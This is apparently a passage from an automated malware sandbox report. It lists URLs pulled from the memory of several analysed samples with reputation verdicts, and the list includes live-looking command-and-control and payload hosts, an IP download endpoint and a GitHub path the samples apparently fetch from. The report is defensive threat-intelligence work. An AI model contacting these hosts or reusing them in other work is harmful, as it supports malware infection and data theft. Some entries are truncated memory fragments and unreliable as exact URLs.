https://broadcast.st.dl.eccdnx.com	0%	Avira URL Cloud	safe
https://marshal-zhukov.com/apiW	100%	Avira URL Cloud	malware
https://output-fog.cyou/llocat	0%	Avira URL Cloud	safe
https://www.google.c(om/	0%	Avira URL Cloud	safe

Name	Malicious	Antivirus Detection	Reputation
https://drive-connect.cyou/api	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	rodda.exe, 0000000C.00000003.14474525560.000000000678C000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14436086508.0000000006782000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14473867178.0000000006500000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14700073351.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14663533397.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14699488422.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14471723604.000000000373B000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14513679312.0000000003716000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14513221519.00000000038D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/VeraImage/MilitarySource/refs/heads/main/Codeo	926085a3ba.exe, 0000000D.00000002.14318367718.0000020F058C0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/Wizard/Password/Change?id=80601dows	svchost.exe, 00000012.00000002.17165414033.0000027A3FE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp	false		high
https://uk.search.yahoo.com/favicon.icohttps://uk.search.yahoo.com/search	rodda.exe, 0000000C.00000003.14474525560.000000000678C000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14436086508.0000000006782000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14473867178.0000000006500000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14700073351.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14663533397.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14699488422.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14471723604.000000000373B000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14513679312.0000000003716000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14513221519.00000000038D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	vg9qcBa.exe, 00000027.00000003.14513221519.00000000038D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp	rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.microsoft	rodda.exe, 0000000C.00000003.14507012889.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14313728866.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14545805000.00000000064B3000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14436725330.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14545599157.00000000064A8000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14471313415.00000000064A8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://raw.githubusercontent.com/SjRj	926085a3ba.exe, 00000005.00000002.14168054682.000001B530E9E000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14165152622.000001B530E9E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/?&brand=CHWL&utm_campaign=en&utm_source=en-et-na-us-chrome-bubble&utm_	rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14435131152.000000000652E000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14435131152.0000000006516000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14662194345.0000000005B82000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660812805.0000000005B6A000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038D2000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038ED000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.steamp	rodda.exe	false	Avira URL Cloud: safe	unknown
https://dl.packetstormsecurity.net/Crackers/bios/BIOS320.EXE	rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://82.115.223.222:8888/1612916fc5ef4b799f4406315a37b75e/5e//	926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03CA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.gstatic.cn/recaptcha/	L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5	rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp	false		high
https://output-fog.cyou:443/apiz	Selection.com, 00000032.00000002.15607940886.0000000001376000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.valvesoftware.com/legal.htm	rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com	L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	svchost.exe, 00000012.00000003.17160737874.0000027A4093B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17163638261.0000027A40952000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14312148908.0000027A40950000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17161352420.0000027A4094D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/VeraImage/MilitarySource/refs/heads/main/CodeNQ	926085a3ba.exe, 00000005.00000002.14168054682.000001B530E9E000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14165152622.000001B530E9E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://packetstormsecurity.com/https://packetstormsecurity.com/files/download/22459/BIOS320.EXEhttp	rodda.exe, 0000000C.00000003.14435131152.0000000006523000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660060615.0000000005B77000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://uk.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	rodda.exe, 0000000C.00000003.14474525560.000000000678C000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14436086508.0000000006782000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14473867178.0000000006500000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14700073351.0000000005DCC000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14663533397.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14699488422.0000000005B6D000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14471723604.000000000373B000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14513679312.0000000003716000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14513221519.00000000038D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://peepburry828.sbs/	rodda.exe, 0000000C.00000003.14509149586.0000000001A4A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://account.live.com/InlineSignup.aspx?iww=1&id=805020	svchost.exe, 00000012.00000002.17165414033.0000027A3FE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp	false		high
https://marshal-zhukov.com:443/apiicrosoft	L.exe, 0000000E.00000002.14887228575.0000000001265000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14882925730.0000000001265000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14735831402.0000000001265000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14278138507.0000000001A7D000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298483583.0000000001280000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/VeraImage/MilitarySource/refs/heads/main/Code	926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03C3D000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03C76000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 0000000D.00000002.14318367718.0000020F058C0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://82.115.223.222/	926085a3ba.exe, 00000005.00000002.14168270876.000001B530EF9000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164833179.000001B530EF9000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164473908.000001B530EBD000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164833179.000001B530EC0000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03CA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis	rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC	rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://s.ytimg.com;	L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://82.115.223.222:8888/1612916fc5ef4b799f4406315a37b75e/%	926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03CA6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14325551582.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298586301.000000000127E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=V9Dw	rodda.exe, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298483583.0000000001280000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/applications/community/main.css?	rodda.exe	false		high
https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Caee1fb81cfe7b52	L.exe, 0000000E.00000003.14298483583.0000000001280000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.autoitscript.com/autoit3/J	Selection.com, 00000032.00000002.15605673470.0000000000719000.00000002.00000001.01000000.00000014.sdmp, Selection.com, 00000032.00000003.15563644837.0000000001844000.00000004.00000800.00020000.00000000.sdmp	false		high
https://steamcommunity.com/profiles/76561199724331900	L.exe, 0000000E.00000003.14298586301.000000000124D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en	rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.google.com/chrome/?p=plugin_flashs	rodda.exe, 0000000C.00000003.14436725330.00000000064A8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-connect.cyou/api7?	vg9qcBa.exe, 00000027.00000002.14769223430.0000000003724000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14761625114.0000000003724000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=OgygW_VD	rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14278138507.0000000001A7D000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298483583.0000000001280000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://secure.eicar.org/eicar.com	rodda.exe, 0000000C.00000003.14435131152.0000000006516000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660812805.0000000005B6A000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038D2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://account.live.com/inlinesignup.aspx?iww=1&id=80601z	svchost.exe, 00000012.00000002.17165414033.0000027A3FE54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164339406.0000027A3FE50000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.live.com/msangcwam	svchost.exe, 00000012.00000003.14291505299.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291505299.0000027A40929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.17164459898.0000027A3FE45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A40929000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14291763393.0000027A4094B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17165369710.0000027A3FE46000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.14292030608.0000027A4092C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	vg9qcBa.exe, 00000027.00000003.14513221519.00000000038D4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000012.00000002.17165909874.0000027A3FEE6000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://passport.net/tb	svchost.exe, 00000012.00000002.17165560965.0000027A3FE7C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.autoitscript.com/autoit3/X	Reynolds.com, 00000020.00000003.14387693803.0000027C3611A000.00000004.00000001.00020000.00000000.sdmp, Reynolds.com, 00000020.00000000.14374579730.00007FF7A35B4000.00000002.00000001.01000000.00000010.sdmp, Reynolds.com, 00000039.00000000.14536110793.00007FF7A35B4000.00000002.00000001.01000000.00000010.sdmp	false		high
https://raw.githubusercontent.com/VeraImage/MilitarySource/refs/heads/main/Code27db2eb5733LMEM	926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03C20000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	rodda.exe, 0000000C.00000003.14508166750.000000000677E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14737308340.0000000005B76000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14554274485.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://pki.goog/repository/0	rodda.exe, 0000000C.00000003.14508166750.000000000677E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14737308340.0000000005B76000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14554274485.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	rodda.exe, 0000000C.00000003.14436086508.0000000006782000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14663533397.0000000005DA2000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14471723604.000000000373B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lv.queniujq.cn	L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199724331900/inventory/	rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006491000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14325551582.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298586301.000000000127E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.youtube.com/	L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng	rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/	926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03C30000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03CA6000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.eicar.org/download-anti-malware-testfile/Download	rodda.exe, 0000000C.00000003.14435131152.0000000006516000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14660812805.0000000005B6A000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14474612909.00000000038D2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://82.115.223.222/o	926085a3ba.exe, 00000005.00000003.14164473908.000001B530EBD000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164833179.000001B530EC0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://82.115.2k	926085a3ba.exe, 0000000D.00000002.14316547468.00000063C5D58000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-connect.cyou/api8?	vg9qcBa.exe, 00000027.00000002.14769223430.0000000003724000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14761625114.0000000003724000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am	rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14277992421.0000000006497000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D8000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298426149.00000000012D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/recaptcha/	L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://checkout.steampowered.com/	L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.fastly.steamstatic.com/public/shared/javascript/auth_	rodda.exe	false		high
